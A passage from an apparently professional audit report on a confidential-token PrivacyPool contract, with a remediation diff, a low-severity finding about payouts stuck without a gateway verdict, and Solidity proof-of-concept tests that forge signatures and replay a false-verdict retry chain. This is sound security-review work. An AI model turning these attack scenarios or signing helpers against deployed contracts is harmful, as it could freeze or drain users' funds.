    pool.accrueProtocolFeesTest(assetId, 10_000);
    assertEq(pool.protocolFees(assetId), 10_000);

    // 4) Available fees still zero: kept (10,000) - owed (10,000) = 0 → still reverts
    vm.prank(owner);
    vm.expectRevert(PrivacyPool.InsufficientFees.selector);
    pool.collectFees(assetId, 1, owner, 0);
}
```

```
$ pnpm --filter contracts test:solidity
[FAIL: InsufficientFees()] test_referralCreditExceedsCollectedFees() (gas: 412984)
  protocolFees[1] = 0, referralLiability[1] = 10000
  → collectFees(1, 1, owner, 0) : Revert InsufficientFees()
  → after withdrawal fee accrual: protocolFees[1] = 10000, available = 0 : Revert InsufficientFees()
Suite result: FAILED. 0 passed; 1 failed
```

Patched the contract as in the Recommendation:

```
$ pnpm --filter contracts test:solidity
[PASS] test_referralCreditExceedsCollectedFees() (gas: 415102)
==== Suite result: ok. 1 passed; 0 failed ====
```

RECOMMENDATION

Credit only against revenue actually collected, i.e. move `_creditReferral` from the deposit path to the fee-collection path, or clamp at credit time:

```
- -- a/packages/contracts/contracts/PrivacyPool.sol
+ ++ b/packages/contracts/contracts/PrivacyPool.sol
  @ -604,3 +604,3 @@ contract PrivacyPool is
          euint128 liabilities = FHE.add(
-             FHE.asEuint128(noteLiability[_asset] + protocolFees[_asset]),
+             FHE.asEuint128(noteLiability[_asset] + protocolFees[_asset] + referralLiability[_asset]),
              FHE.add(FHE.asEuint128(depositLiability[_asset]), FHE.asEuint128(payoutLiability[_asset]))
  @ -642,3 +642,2 @@ contract PrivacyPool is
              _pullAndShield(assets[_extData.asset], uint256(extAmount));
-             _creditReferral(_extData.referrer, _extData.asset, uint256(extAmount));
          } else if (extAmount < 0) {
  @ -646,2 +645,3 @@ contract PrivacyPool is
              protocolFees[_extData.asset] += fee;
+             _creditReferral(_extData.referrer, _extData.asset, fee);
```

REMEDIATION FIXED

FLUTON

Fixed.

L-05 A payout obligation cannot leave InFlight without a gateway verdict

SEVERITY LOW STATUS ACKNOWLEDGED LOCATION PrivacyPool.sol

Location: PrivacyPool.sol lines 828 to 871 (`_attempt`, status set to InFlight at 837), 577 to 592 (`confirmAttempt`), 595 to 598 (`retryObligation`), 562 to 574 (`cancelDeposit`).

Description. Every payout creates an obligation whose first attempt runs immediately. The attempt moves the amount out through the wrapper and records the encrypted amount actually moved. Confidential payouts and deposit refunds use a confidential transfer. Public-format payouts use an unshield that burns the pool's eTOKEN and records a pending claim for the recipient. The obligation then stays InFlight until `confirmAttempt` receives a threshold-network decryption signature over the attempt's success flag. A retry is allowed only from the RetryAllowed state, and only a signed false verdict produces that state. There is no deadline, no time-based transition and no administrative override on this path. By contrast, an open deposit receipt can be abandoned by its own depositor with `cancelDeposit`, which needs no gateway verdict. The refund that call creates is itself an obligation and follows the same InFlight rule.

Impact. The effect depends on whether the first attempt delivered the funds.

- **Normal case, the attempt delivered.** For a confidential payout the transfer executes in the same transaction and the recipient's encrypted balance already includes the funds, as shown with the CoFHE mock. The live coprocessor was not exercised. For a public-format withdrawal the recipient instead holds a pending wrapper claim (see I-01). In both cases the payout accounting is already reduced by the amount sent, and only the obligation and attempt status wait for a verdict. No user funds are at risk in this case.
- **Failure case, the attempt delivered nothing.** When the pool holds an eTOKEN balance that is smaller than the requested amount, the pool's confidential transfer or unshield moves zero instead of reverting. A pool that has never held the eTOKEN reverts instead, and no obligation is created. The residual stays owed and the recipient receives nothing. Retrying requires a signed false verdict. If the gateway never signs, the obligation cannot be retried and the payout stays unpaid. A permanent gateway outage leaves every such obligation unresolved with no on-chain remedy short of a contract upgrade.
- **Opposite error.** A true verdict signed for a payout that delivered nothing makes the obligation Settled with the full residual still owed, and retry then reverts for good. That needs a gateway that signs a value that is not the true result, which is outside the threat model assumed here.

The failure case needs two conditions at once: a payout attempt that delivers nothing, which the pool's own backing invariant is meant to prevent, and an unresponsive gateway. We therefore rate this Low. The failure case would freeze a payout until a contract upgrade, but no party gains funds from it. A recipient who wants the underlying token also needs a decryption proof from the same threshold network to complete the claim, so a pool-level timeout reduces but does not remove the gateway dependency.

Proof of concept. Two scenarios were executed.

1. The pool's reserve was drained with a test-only helper so that the transfer delivers zero, which models the failure case. The obligation is InFlight, the full residual is still owed, and the recipient holds nothing. Ten years later a retry reverts with `RetryNotAllowed`, signatures from a wrong key and garbage signatures are rejected, and `cancelDeposit` cannot reference an obligation. The state is unchanged.

2. On the normal path with a confidential withdrawal the transfer lands, the recipient's eTOKEN balance includes the payout, and the obligation stays InFlight until one valid gateway signature arrives, after which it becomes Settled. Time alone never changes the state.

Test source (exact).

File: `packages/contracts/test/poc/F-002-PoC.t.sol` **Run:** `npx hardhat test solidity test/poc/F-002-PoC.t.sol`

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;

/// F-002 PoC - Obligations have NO InFlight timeout/escape: the payout strands if the
/// gateway never signs `confirmAttempt`.
///
/// State machine (PrivacyPool.sol): `_createObligation` → `_attempt` (:828-871) puts every
/// payout obligation (Withdraw/Refund/Burn) in `InFlight`. The ONLY exits from InFlight are:
///   - `confirmAttempt` (:577-592): gated by `FHE.verifyDecryptResult(a.ok, ...)` - i.e. by
///     the off-chain gateway's signature over the verdict. true ⇒ Settled, false ⇒ RetryAllowed.
///   - `retryObligation` (:594-598): requires `RetryAllowed`, which is itself unreachable
///     without a signature. An outage is therefore NOT a retry.
/// `cancelDeposit` (:562-574) only escapes DEPOSITS (separate `deposits` mapping, keyed by
/// depositId): it cannot even name an obligation - asserted below. No owner/admin settle, no
/// deadline, no timestamp check exists anywhere on the obligation path, so a gateway that
/// never signs freezes the obligation (and, when the async payout never executed, the user's
/// principal in `payoutLiability`) forever.
///
/// Test 1 strands a real CONFIDENTIAL withdrawal payout: the pool's async confidential
/// transfer does not land (modeled, exactly as the mock renders a failed external call, by
/// draining the reserve so `sent = 0`), the gateway signs nothing, and every candidate exit
/// is shown to revert while the state stays InFlight across a 10-year warp.
/// Test 2 proves time alone never unlocks an InFlight obligation even when the transfer DID
/// land, and that exactly one gateway signature is the sole exit (Settled).
///
/// The mock CoFHE environment reproduces the trust model faithfully: verdicts are accepted
/// only under the mock decrypt signer's key (the plugin's Hardhat account #1). Signatures from
/// any other key - including a well-formed one - are rejected on-chain, so nobody but the
/// gateway can ever move an obligation out of InFlight.
import {Test} from "forge-std/Test.sol";
import {TransparentUpgradeableProxy} from
"@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {euint64, ebool} from "@fhenixprotocol/cofhe-contracts/FHE.sol";
import {IHasher, IVerifier, IVerifier16} from "../../contracts/interfaces.sol";
import {MockHasher} from "../../contracts/mocks.sol";
import {MockERC20} from "../../contracts/MockERC20.sol";
import {LocalPredicateRegistry} from "../../contracts/LocalPredicateRegistry.sol";
import {PrivacyPool} from "../../contracts/PrivacyPool.sol";
import {ExpectingVerifier} from "../../contracts/fhenix/testing/ExpectingVerifier.sol";
import {TestConfidentialWrapper} from "../../contracts/fhenix/testing/WrapperProbe.sol";
import {IConfidentialWrapper} from "../../contracts/fhenix/IConfidentialWrapper.sol";
import {MockTaskManager} from "@cofhe/mock-contracts/contracts/MockTaskManager.sol";
import {MockACL} from "@cofhe/mock-contracts/contracts/MockACL.sol";
import {ACPTimestampRevoker} from "@cofhe/mock-contracts/contracts/ACPTimestampRevoker.sol";
import {ACPShareRegistry} from "@cofhe/mock-contracts/contracts/ACPShareRegistry.sol";
import {MockThresholdNetwork} from "@cofhe/mock-contracts/contracts/MockThresholdNetwork.sol";

/// Plaintext reads against the mock TaskManager (same shape as the deployed mock).
interface ITaskManagerMock {
    function mockStorage(uint256 ctHash) external view returns (uint256);
}

contract F002InFlightStrandTest is Test {
    // ---------------------------------------------------------------- constants
    // Private key of the mock decrypt-result signer set by the CoFHE hardhat plugin on the
```

```
    // MockTaskManager (MOCKS_DECRYPT_RESULT_SIGNER_PRIVATE_KEY in CoFHE SDK 0.7.1): the
    // stand-in for the production decrypt gateway's enclave key.
    uint256 constant GATEWAY_PK = 0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d;
    /// A well-funded non-gateway key: every signature it produces is well-formed but wrong.
    uint256 constant BOB_PK = 0x7c852118294e51e653712a81e05800f419141751be58f605c371e15141b007a6;
    address constant TASK_MANAGER = 0xeA30c4B8b44078Bbf8a6ef5b9f1eC1626C7848D9;
    /// Fixed mock addresses (CoFHE SDK 0.7.1): MockZkVerifier / MockThresholdNetwork.
    address constant ZK_VERIFIER = 0x0000000000000000000000000000000000005001;
    address constant THRESHOLD_NETWORK = 0x0000000000000000000000000000000000005002;
    /// The plugin's zk verifier signer (MOCKS_ZK_VERIFIER_SIGNER_ADDRESS in CoFHE SDK 0.7.1).
    address constant ZK_VERIFIER_SIGNER = 0x6E12D8C87503D4287c294f2Fdef96ACd9DFf6bd2;
    uint64 constant PAYOUT = 1_000e6; // note units; 6-decimals token ⇒ rate 1
    uint32 constant LEVELS = 20;
    string constant POLICY = "x-fluton-poc";

    // ------------------------------------------------------------------ harness
    MockHasher hasher;
    LocalPredicateRegistry registry;
    ExpectingVerifier verifier;
    PrivacyPool pool;
    TestConfidentialWrapper wrapper;
    MockERC20 token;
    address owner = makeAddr("owner");
    address alice = makeAddr("alice"); // the withdraw caller
    address bob = makeAddr("bob"); // the withdrawal recipient who strands

    function setUp() public {
        _deployCoFheMocks();
        hasher = new MockHasher();
        registry = new LocalPredicateRegistry(address(this));
        verifier = new ExpectingVerifier();

        // The built TestConfidentialWrapper artifact is already linked against
        // ERC20ConfidentialLib (Hardhat resolves it at build time), so the wrapper deploys
        // straight from its artifact creation code.
        // token first: MockERC20 needs to exist before the wrapper encodes its address.
        token = new MockERC20("USD Coin", "USDC", 6); // 6 decimals ⇒ wrapper rate = 1
        bytes memory args = abi.encode(IERC20(address(token)), "Encrypted USD Coin", "eUSDC");
        wrapper = TestConfidentialWrapper(_create(vm.getCode("TestConfidentialWrapper"), args));

        bytes memory initData = abi.encodeCall(
            PrivacyPool.initialize,
            (
                IVerifier(address(verifier)),
                IVerifier16(address(verifier)),
                hasher,
                LEVELS,
                address(wrapper).codehash, // every wrapper linked to the same lib shares runtime code
                uint16(0), // withdrawFeeBps = 0 keeps the withdrawal route exact
                uint16(0),
                address(registry),
                POLICY,
                owner
            )
        );
        pool = PrivacyPool(address(new TransparentUpgradeableProxy(address(new PrivacyPool()), owner,
initData)));
```

```
        vm.prank(owner);
        pool.addAsset(IConfidentialWrapper(address(wrapper)));

        // Seed the pool's eTOKEN reserve exactly like a deposit leg would: shield underlying
        // into the wrapper FOR the pool (a real wrapper.shield call, not a storage poke).
        token.mint(address(this), 2 * PAYOUT);
        token.approve(address(wrapper), 2 * PAYOUT);
        wrapper.shield(address(pool), 2 * PAYOUT);
    }

    // ============================ TEST 1 - outage strands the payout: no timeout, no escape
    /// The async confidential payout never lands (sent = 0), the gateway never signs, and
    /// 10 years later every candidate exit still reverts with the obligation frozen InFlight.
    function test_F_002_gatewayOutageStrandsPayoutForever() public {
        // Model "the async transfer did not land" by draining the pool reserve entirely:
        // FHERC20 transfers move 0 instead of reverting on shortfall, so the wrapper's
        // confidentialTransfer then yields sent = 0 - the same on-chain shape an unprocessed
        // async task leaves behind.
        wrapper.testOnlyMove(address(pool), alice, 2 * PAYOUT);

        (bytes32 oid, bytes32 a1) = _confidentialWithdraw(PAYOUT);

        // Attempt 1 is InFlight and consumed nothing: the payout did not land.
        (, PrivacyPool.ObligationStatus oStatus,,, uint32 nAttempts,, euint64 residualH) =
pool.obligations(oid);
        (, PrivacyPool.AttemptStatus aStatus,,, euint64 sentH, ebool okE,) = pool.attempts(a1);
        assertEq(uint8(oStatus), uint8(PrivacyPool.ObligationStatus.InFlight), "InFlight");
        assertEq(uint8(aStatus), uint8(PrivacyPool.AttemptStatus.InFlight), "attempt InFlight");
        assertEq(nAttempts, 1, "first attempt");
        assertEq(_dec64(euint64.unwrap(sentH)), 0, "payout never landed");
        assertEq(_dec64(euint64.unwrap(residualH)), PAYOUT, "full residual still owed");
        assertEq(_dec64(euint64.unwrap(pool.payoutLiability(1))), PAYOUT, "payoutLiability holds the
principal");
        assertEq(_dec64(euint64.unwrap(wrapper.confidentialBalanceOf(bob))), 0, "bob received nothing");

        // ---- The gateway outage: NO signature ever arrives. Warp ten years past any sane
        // timeout; the contract has none, so nothing may change.
        vm.warp(block.timestamp + 3650 days);

        // Exit candidate 1: permissionless retry - locked out (needs RetryAllowed, i.e. a
        // gateway FALSE verdict; an outage is not one).
        vm.prank(alice);
        vm.expectRevert(PrivacyPool.RetryNotAllowed.selector);
        pool.retryObligation(oid);

        // Exit candidate 2: confirmAttempt with a signature nobody but the gateway can make.
        // A well-formed signature from the WRONG key is rejected by the on-chain check.
        bytes memory forged = _signDecrypt(ebool.unwrap(okE), 1, BOB_PK);
        vm.expectRevert(); // bubbles MockTaskManager InvalidSigner - either way, NOT accepted
        pool.confirmAttempt(a1, true, forged);

        // Same for garbage bytes.
        bytes memory garbage = new bytes(65);
        vm.expectRevert(); // bubbles MockTaskManager InvalidSignature
        pool.confirmAttempt(a1, false, garbage);

        // Exit candidate 3: the DEPOSIT escape (`cancelDeposit`) cannot even name an
```

```
        // obligation - obligations live in a separate mapping keyed by obligationId.
        vm.prank(bob);
        vm.expectRevert(PrivacyPool.UnknownDeposit.selector);
        pool.cancelDeposit(oid);

        // ---- Frozen: ten years later the obligation is still InFlight, the principal is
        // still locked in payoutLiability, and the recipient still holds nothing.
        (, oStatus,,, nAttempts,, residualH) = pool.obligations(oid);
        assertEq(uint8(oStatus), uint8(PrivacyPool.ObligationStatus.InFlight), "still InFlight");
        assertEq(nAttempts, 1, "no new attempt was ever possible");
        assertEq(_dec64(euint64.unwrap(residualH)), PAYOUT, "residual still owed");
        assertEq(_dec64(euint64.unwrap(pool.payoutLiability(1))), PAYOUT, "principal still locked");
        assertEq(_dec64(euint64.unwrap(wrapper.confidentialBalanceOf(bob))), 0, "bob still paid
nothing");
    }

    // ==================== TEST 2 - time alone never exits InFlight; one signature is the exit
    /// Even when the transfer DID land (sent = PAYOUT), the obligation bookkeeping never
    /// leaves InFlight without the gateway: warp + every wrong-key signature fail, then a
    /// single honest signature settles it. Isolates the outage as the sole determinant.
    function test_F_002_onlyGatewaySignatureExitsInFlight() public {
        (bytes32 oid, bytes32 a1) = _confidentialWithdraw(PAYOUT);

        // The transfer landed synchronously, yet the verdict is still pending.
        (, , , euint64 sentH2,, ebool okE2,) = pool.attempts(a1);
        assertEq(_dec64(euint64.unwrap(sentH2)), PAYOUT, "payout landed");
        (, PrivacyPool.ObligationStatus oStatus2,,, , ,) = pool.obligations(oid);
        assertEq(uint8(oStatus2), uint8(PrivacyPool.ObligationStatus.InFlight), "still InFlight");
        assertEq(_dec64(euint64.unwrap(wrapper.confidentialBalanceOf(bob))), PAYOUT, "bob holds the
eTOKENs");

        vm.warp(block.timestamp + 3650 days);
        vm.prank(alice);
        vm.expectRevert(PrivacyPool.RetryNotAllowed.selector);
        pool.retryObligation(oid);
        bytes memory forged = _signDecrypt(ebool.unwrap(okE2), 1, BOB_PK);
        vm.expectRevert();
        pool.confirmAttempt(a1, true, forged);
        (, oStatus2,,,,) = pool.obligations(oid);
        assertEq(uint8(oStatus2), uint8(PrivacyPool.ObligationStatus.InFlight), "time changed nothing");

        // The ONLY exit: the gateway's signature. One honest verdict settles the obligation.
        bytes memory honest = _signDecrypt(ebool.unwrap(okE2), 1, GATEWAY_PK);
        vm.prank(alice);
        pool.confirmAttempt(a1, true, honest);
        (, oStatus2,,,,) = pool.obligations(oid);
        assertEq(uint8(oStatus2), uint8(PrivacyPool.ObligationStatus.Settled), "settled by one sig");
        assertEq(_dec64(euint64.unwrap(pool.payoutLiability(1))), 0, "liability released only now");
    }

    // ------------------------------------------------------------ internals
    /// The Solidity test runner does NOT run the plugin's deployMocks (that happens only on
    /// TS network.create()), so the PoC replicates it byte-for-byte: etch the fixed-address
    /// mocks, deploy the variable-address ones, wire them, and install the plugin's decrypt
    /// signer (Hardhat account #1, GATEWAY_PK) as the gateway.
    function _deployCoFheMocks() internal {
        vm.etch(TASK_MANAGER, vm.getDeployedCode("MockTaskManager"));
```

```
        MockTaskManager(TASK_MANAGER).initialize(address(this));
        MockTaskManager(TASK_MANAGER).setSecurityZones(0, 1);
        MockACL acl = new MockACL();
        MockTaskManager(TASK_MANAGER).setACLContract(address(acl));
        ACPTimestampRevoker revoker = new ACPTimestampRevoker();
        acl.setDefaultRevokerContract(address(revoker));
        ACPShareRegistry shares = new ACPShareRegistry();
        acl.setShareRegistry(address(shares));
        MockTaskManager(TASK_MANAGER).setVerifierSigner(ZK_VERIFIER_SIGNER);
        MockTaskManager(TASK_MANAGER).setDecryptResultSigner(vm.addr(GATEWAY_PK));
        vm.etch(ZK_VERIFIER, vm.getDeployedCode("MockZkVerifier"));
        vm.etch(THRESHOLD_NETWORK, vm.getDeployedCode("MockThresholdNetwork"));
        MockThresholdNetwork(THRESHOLD_NETWORK).initialize(TASK_MANAGER, address(acl));
    }

    /// Real withdrawal route: transact(FORMAT_CONFIDENTIAL, extAmount = -amount) ⇒ Withdraw
    /// obligation whose first attempt confidential-transfers from the pool to `bob`
    /// (PP:646-648, PP:828-871).
    function _confidentialWithdraw(uint64 amount) internal returns (bytes32 oid, bytes32 attempt1) {
        // noteLiability must cover the withdrawal (it accrues from deposits); find its storage
        // key dynamically instead of hard-coding the layout, then seed the historical state.
        // The recorded accesses also include the proxy's EIP-1967 slots, so filter them out.
        vm.record();
        pool.noteLiability(1);
        (bytes32[] memory reads,) = vm.accesses(address(pool));
        bytes32 slot;
        bool found;
        for (uint256 i = 0; i < reads.length; i++) {
            if (
                reads[i] == 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc // impl
                    || reads[i] == 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103 //
admin
            ) continue;
            slot = reads[i];
            found = true;
        }
        require(found, "no noteLiability slot recorded");
        vm.store(address(pool), slot, bytes32(uint256(amount)));
        assertEq(pool.noteLiability(1), amount, "noteLiability seeded");

        PrivacyPool.ExtData memory ext = PrivacyPool.ExtData({
            recipient: bob,
            extAmount: -int256(uint256(amount)),
            withdrawFee: 0, // withdrawFeeBps = 0
            encryptedOutputs: _ciphertexts(),
            chainId: block.chainid,
            pool: address(pool),
            asset: 1,
            format: uint8(0), // PrivacyPool.FORMAT_CONFIDENTIAL
            depositId: bytes32(0),
            referrer: address(0)
        });
        PrivacyPool.TransactProof memory proof = PrivacyPool.TransactProof({
            a: [uint256(1), 2],
            b: [[uint256(1), 2], [uint256(3), 4]],
            c: [uint256(5), 6],
            root: pool.getLastRoot(),
```

```
            inputNullifiers: _nullifiers(),
            outputCommitments: [bytes32(uint256(11)), bytes32(uint256(12)), bytes32(uint256(13))],
            publicAmount: pool.calculatePublicAmount(ext.extAmount),
            extDataHash: bytes32(uint256(keccak256(abi.encode(ext))) % pool.FIELD_SIZE())
        });

        vm.prank(alice);
        pool.transact(proof, ext);

        oid = _lastObligationId();
        (, PrivacyPool.ObligationStatus status,, address to,, bytes32 currentAttempt,) =
pool.obligations(oid);
        assertEq(uint8(status), uint8(PrivacyPool.ObligationStatus.InFlight), "attempt in flight");
        assertEq(to, bob, "obligation pays bob");
        attempt1 = currentAttempt;
    }

    function _lastObligationId() internal view returns (bytes32) {
        return keccak256(abi.encode(block.chainid, address(pool), pool.obligationNonce() - 1));
    }

    function _ciphertexts() internal pure returns (bytes[3] memory cts) {
        cts = [new bytes(168), new bytes(168), new bytes(168)];
    }

    uint256 _nonce;

    function _nullifiers() internal returns (bytes32[] memory n) {
        n = new bytes32[](2);
        n[0] = keccak256(abi.encode("nullifier", ++_nonce));
        n[1] = keccak256(abi.encode("nullifier", ++_nonce));
    }

    /// Plaintext of an euint64 handle in the mock TaskManager.
    function _dec64(bytes32 handle) internal view returns (uint256) {
        return ITaskManagerMock(TASK_MANAGER).mockStorage(uint256(handle));
    }

    /// A gateway verdict: MockTaskManager.computeDecryptResultHash(ctHash, result, chainid),
    /// signed by `pk` - verbatim, so the mock accepts the gateway's own key.
    function _signDecrypt(bytes32 handle, uint256 result, uint256 pk) internal view returns (bytes
memory sig) {
        uint256 ctHash = uint256(handle);
        uint8 encryptionType = uint8((ctHash >> 8) & 0x7f);
        uint256 cid = block.chainid;
        bytes32 messageHash;
        assembly {
            let ptr := mload(0x40)
            mstore(ptr, result)
            mstore(add(ptr, 0x20), shl(224, encryptionType))
            mstore(add(ptr, 0x24), shl(192, and(cid, 0xffffffffffffffff)))
            mstore(add(ptr, 0x2c), ctHash)
            messageHash := keccak256(ptr, 0x4c)
            mstore(0x40, add(ptr, 0x4c))
        }
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(pk, messageHash);
        sig = abi.encodePacked(r, s, v);
```

```
    }

    /// Create from artifact creation code with constructor args appended.
    function _create(bytes memory creation, bytes memory args) internal returns (address a) {
        bytes memory code = abi.encodePacked(creation, args);
        assembly {
            a := create(0, add(code, 0x20), mload(code))
        }
        require(a ≠ address(0), "create failed");
    }
}
```

File: `packages/contracts/test/poc/F-001-PoC.t.sol` **Run:** `npx hardhat test solidity test/poc/F-001-PoC.t.sol`

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;

import {Test} from "forge-std/Test.sol";
import {FHE, ebool, euint64} from "@fhenixprotocol/cofhe-contracts/FHE.sol";
import {TransparentUpgradeableProxy} from
"@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {MockHasher} from "../../contracts/mocks.sol";
import {MockERC20} from "../../contracts/MockERC20.sol";
import {LocalPredicateRegistry} from "../../contracts/LocalPredicateRegistry.sol";
import {PrivacyPool} from "../../contracts/PrivacyPool.sol";
import {IConfidentialWrapper} from "../../contracts/fhenix/IConfidentialWrapper.sol";
import {ExpectingVerifier} from "../../contracts/fhenix/testing/ExpectingVerifier.sol";
import {TestConfidentialWrapper} from "../../contracts/fhenix/testing/WrapperProbe.sol";
import {ERC20ConfidentialLib} from "fhenix-confidential-
contracts/contracts/ERC20Confidential/ERC20ConfidentialLib.sol";
import {IVerifier, IVerifier16} from "../../contracts/interfaces.sol";

interface ITaskManagerMock {
    function mockStorage(uint256 ctHash) external view returns (uint256);
}

/// F-001 PoC - PrivacyPool gateway false-verdict ⇒ claimed 2×-claim double payout.
///
/// Claimed chain (F-PP-1): a gateway FALSE verdict on a SUCCEEDED Burn
/// (PP:577-592) moves the obligation to RetryAllowed; permissionless `retryObligation`
/// (PP:595-598) re-burns the FULL residual via `wrapper.unshield` while the first attempt's
/// claim (recorded PP:869, paid at WCore:142-148) persists; the recipient claims twice.
///
/// The PoC executes that exact chain end-to-end on the production contracts and MEASURES the
/// recipient's total payout. The mock CoFHE environment reproduces the trust model faithfully:
/// `MockTaskManager.verifyDecryptResult` authenticates only the SIGNATURE over
/// (ctHash, claimedValue, chainId) - it never checks the claimed value against the true
/// plaintext - so a compromised/buggy gateway can sign `false` for a handle whose true value
/// is `true`, exactly the off-chain trigger postulated by the finding. Its key is the plugin's
/// mock decrypt signer (Hardhat account #1), used here to mint both honest and false verdicts.
contract F001PoCTest is Test {
    /// Private key of the mock decrypt-result signer set by the cofhe hardhat-3 plugin on the
    /// MockTaskManager (MOCKS_DECRYPT_RESULT_SIGNER_PRIVATE_KEY in the cofhe sdk 0.7.1).
    uint256 constant GATEWAY_PK = 0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d;
    address constant TASK_MANAGER = 0xeA30c4B8b44078Bbf8a6ef5b9f1eC1626C7848D9;
    address constant ZK_VERIFIER = 0x0000000000000000000000000000000000005001;
    address constant THRESHOLD_NETWORK = 0x0000000000000000000000000000000000005002;
    uint256 constant ZK_SIGNER_PK = 0x6C8D7F768A6BB4AAFE85E8A2F5A9680355239C7E14646ED62B044E39DE154512;
    uint64 constant PAYOUT = 1_000e6; // note units; 6-decimals token ⇒ wrapper rate = 1
    uint32 constant LEVELS = 20;
    string constant POLICY = "x-fluton-poc";
    uint8 constant FORMAT_PUBLIC = 1; // PrivacyPool.FORMAT_PUBLIC
    bytes32 constant EIP1967_IMPL = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
    bytes32 constant EIP1967_ADMIN = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;

    MockHasher hasher;
    LocalPredicateRegistry registry;
    ExpectingVerifier verifier;
    PrivacyPool pool;
```

```
    TestConfidentialWrapper wrapper;
    MockERC20 token;
    address owner = makeAddr("owner");
    address alice = makeAddr("alice"); // the permissionless confirm/retry caller
    address bob = makeAddr("bob"); // the withdrawal recipient

    function setUp() public {
        _bootstrapCoFheMocks(); // the plugin only hooks network.create() (TS); Solidity tests
        // must stand the same mock stack up themselves at the same fixed addresses.
        hasher = new MockHasher();
        registry = new LocalPredicateRegistry(address(this));
        verifier = new ExpectingVerifier();

        // The wrapper links ERC20ConfidentialLib at deploy time; Hardhat resolves npm-file
        // linking only through config, so the PoC patches the placeholder itself.
        address lib = _create(vm.getCode("ERC20ConfidentialLib"), address(0), "");
        token = new MockERC20("USD Coin", "USDC", 6); // 6 decimals ⇒ rate = 1
        bytes memory args = abi.encode(IERC20(address(token)), "Encrypted USD Coin", "eUSDC");
        wrapper = TestConfidentialWrapper(_create(vm.getCode("TestConfidentialWrapper"), lib, args));

        bytes memory initData = abi.encodeCall(
            PrivacyPool.initialize,
            (
                IVerifier(address(verifier)),
                IVerifier16(address(verifier)),
                hasher,
                LEVELS,
                address(wrapper).codehash, // every wrapper linked to the same lib shares runtime code
                uint16(0), // withdrawFeeBps = 0 keeps the withdrawal route exact
                uint16(0),
                address(registry),
                POLICY,
                owner
            )
        );
        pool = PrivacyPool(address(new TransparentUpgradeableProxy(address(new PrivacyPool()), owner,
initData)));
        vm.prank(owner);
        pool.addAsset(IConfidentialWrapper(address(wrapper)));

        // Seed the pool's eTOKEN reserve exactly like a deposit leg would: shield underlying
        // into the wrapper FOR the pool (a real wrapper.shield call, not a storage poke).
        token.mint(address(this), 4 * PAYOUT);
        token.approve(address(wrapper), 4 * PAYOUT);
        wrapper.shield(address(pool), 2 * PAYOUT);
    }

    // ================================================ TEST 1 - the finding's exact chain
    /// Burn succeeds (full claim for bob persists), gateway then issues a FALSE verdict,
    /// anyone retries, the retry settles, bob claims every claim. Measure the total.
    function test_F_001_falseVerdictOnSucceededBurnDoesNotDoublePay() public {
        (bytes32 oid, bytes32 a1, bytes32 claim1) = _withdraw(PAYOUT, PAYOUT);

        // Attempt 1 SUCCEEDED: the pending claim for the full payout already exists…
        ERC20ConfidentialLib.Claim memory c1 = wrapper.getClaim(claim1);
        assertEq(c1.to, bob, "claim 1 is bob's");
        assertFalse(c1.claimed, "claim 1 pending");
```

```
        assertEq(_dec64(c1.ctHash), PAYOUT, "claim 1 is worth the full payout");

        // …and its verdict handle decrypts to TRUE (the burn succeeded).
        (, , , , , ebool ok1, ) = pool.attempts(a1);
        assertEq(_dec64(ebool.unwrap(ok1)), 1, "true plaintext of the verdict handle is TRUE");
        bytes memory sigTrue = _signDecrypt(ebool.unwrap(ok1), 1);
        bytes memory sigFalse = _signDecrypt(ebool.unwrap(ok1), 0);
        assertTrue(FHE.verifyDecryptResult(ok1, true, sigTrue), "honest verdict verifies");
        // The gateway can EQUALLY sign the false value: the on-chain check authenticates the
        // signature, never the value - the finding's off-chain trust gap, made concrete.
        assertTrue(FHE.verifyDecryptResult(ok1, false, sigFalse), "false verdict also verifies");

        // The FALSE verdict lands: Failed/RetryAllowed while bob's claim persists.
        vm.prank(alice);
        pool.confirmAttempt(a1, false, sigFalse);
        (, PrivacyPool.ObligationStatus st1, , , , , euint64 residual1) = pool.obligations(oid);
        assertEq(uint8(st1), uint8(PrivacyPool.ObligationStatus.RetryAllowed), "RetryAllowed");
        assertEq(_dec64(euint64.unwrap(residual1)), 0, "residual already consumed by the burn");

        // Bob cashes the persisted claim: +PAYOUT underlying.
        vm.prank(bob);
        wrapper.claimUnshielded(claim1, uint64(PAYOUT), _signDecrypt(c1.ctHash, PAYOUT));
        assertEq(token.balanceOf(bob), PAYOUT, "first payout received");

        // Permissionless retry of the "failed" obligation…
        vm.prank(alice);
        bytes32 a2 = pool.retryObligation(oid);
        (, PrivacyPool.AttemptStatus st2, , euint64 requested2, , , ) = pool.attempts(a2);
        assertEq(uint8(st2), uint8(PrivacyPool.AttemptStatus.InFlight), "retry started");
        // …but the residual it re-burns is 0 - the successful burn already zeroed it (PP:863-864).
        assertEq(_dec64(euint64.unwrap(requested2)), 0, "retry re-burns 0, not the full residual");

        // Settle the retry honestly and let bob claim everything it produced.
        (, , , , , ebool ok2, ) = pool.attempts(a2);
        vm.prank(alice);
        pool.confirmAttempt(a2, true, _signDecrypt(ebool.unwrap(ok2), 1));
        (, PrivacyPool.ObligationStatus st3, , , , , ) = pool.obligations(oid);
        assertEq(uint8(st3), uint8(PrivacyPool.ObligationStatus.Settled), "settled");

        uint256 claimedTotal = _claimAllBob();
        assertEq(claimedTotal, 0, "the retry claim is worth 0");
        assertEq(token.balanceOf(bob), PAYOUT, "BOB HOLDS 1x, NOT 2x: false verdict cannot double-pay");
        assertEq(_dec64(euint64.unwrap(pool.payoutLiability(1))), 0, "payout liability fully consumed");
    }

    // ============================================ TEST 2 - R6 variant: honest-failure retry
    /// When the burn genuinely fails (no reserve), the retry DOES re-burn the full residual -
    /// and the total payout is still exactly 1x.
    function test_F_001_variantHonestFailureRetryPaysExactlyOnce() public {
